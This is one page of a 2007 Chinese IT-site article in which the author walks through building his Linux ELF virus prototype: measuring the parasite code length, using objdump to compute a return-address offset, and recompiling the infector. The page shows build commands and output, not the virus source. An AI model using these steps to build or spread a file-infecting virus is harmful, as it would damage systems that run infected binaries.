CTOCIO IT专家网

天极传媒 比特网 | 天极网 | IT专家网 | IT商网 | 52PK游戏网 | 手机天极 | IT分众 |
IT专家网搜索

您现在的位置: IT专家网 > CIO子站 > Linux与开源

剖析Linux病毒原型工作过程和关键环节

作者: ,  出处:《首席信息官》, 责任编辑: 徐蕊, 
2007-09-04 11:47
  写这篇文章的目的主要是对最近写的一个Linux病毒原型代码做一个总结,同时向对这方面有兴趣的朋友做一个简单的介绍。
  先获取病毒代码长度,然后调整gvirus.c中的#define PARACODE_LENGTH定义  

以下是引用片段:
grip2@linux:~/tmp/virus>. /gei -l <.这里获取病毒代码的长度
  Parasite code length: 1744

  获取病毒代码开始位置和0xaabbccdd的地址,计算存放返回地址的地址的偏移

  

以下是引用片段:
grip2@linux:~/tmp/virus> objdump -d gei grep aabbccdd
  8049427: 68 dd cc bb aa push $0xaabbccdd
  grip2@linux:~/tmp/virus> objdump -d gei grep
  08048d80 :
  8049450: e9 2b f9 ff ff jmp 8048d80
  grip2@linux:~/tmp/virus> objdump -d gei grep :
  08048d80 :
  0x8049427与0x8048d80相减即获得我们需要的偏移,用这个值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET宏的值

  重新编译 

以下是引用片段:
  grip2@linux:~/tmp/virus> make clean
  rm *.o -rf
  rm foo -rf
  rm gei -rf
  grip2@linux:~/tmp/virus> make
  gcc foo.c -o foo
  gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
  gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
  grip2@linux:~/tmp/virus> ls
  gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c
  g-elf-infector.c gunistd.h gvirus.h foo Makefile parasite-sample.h
共8页。 9 1 2 3 4 5 6 7 8 :
  • 本文关键词:

网友评论

笔名 
请您注意:遵守国家有关法律、法规,尊重网上道德,承担一切因您的行为而直接或间接引起的法律责任。    IT专家网友拥有管理笔名和留言的一切权利。
  • 周排行榜
  • 月排行榜

邮件订阅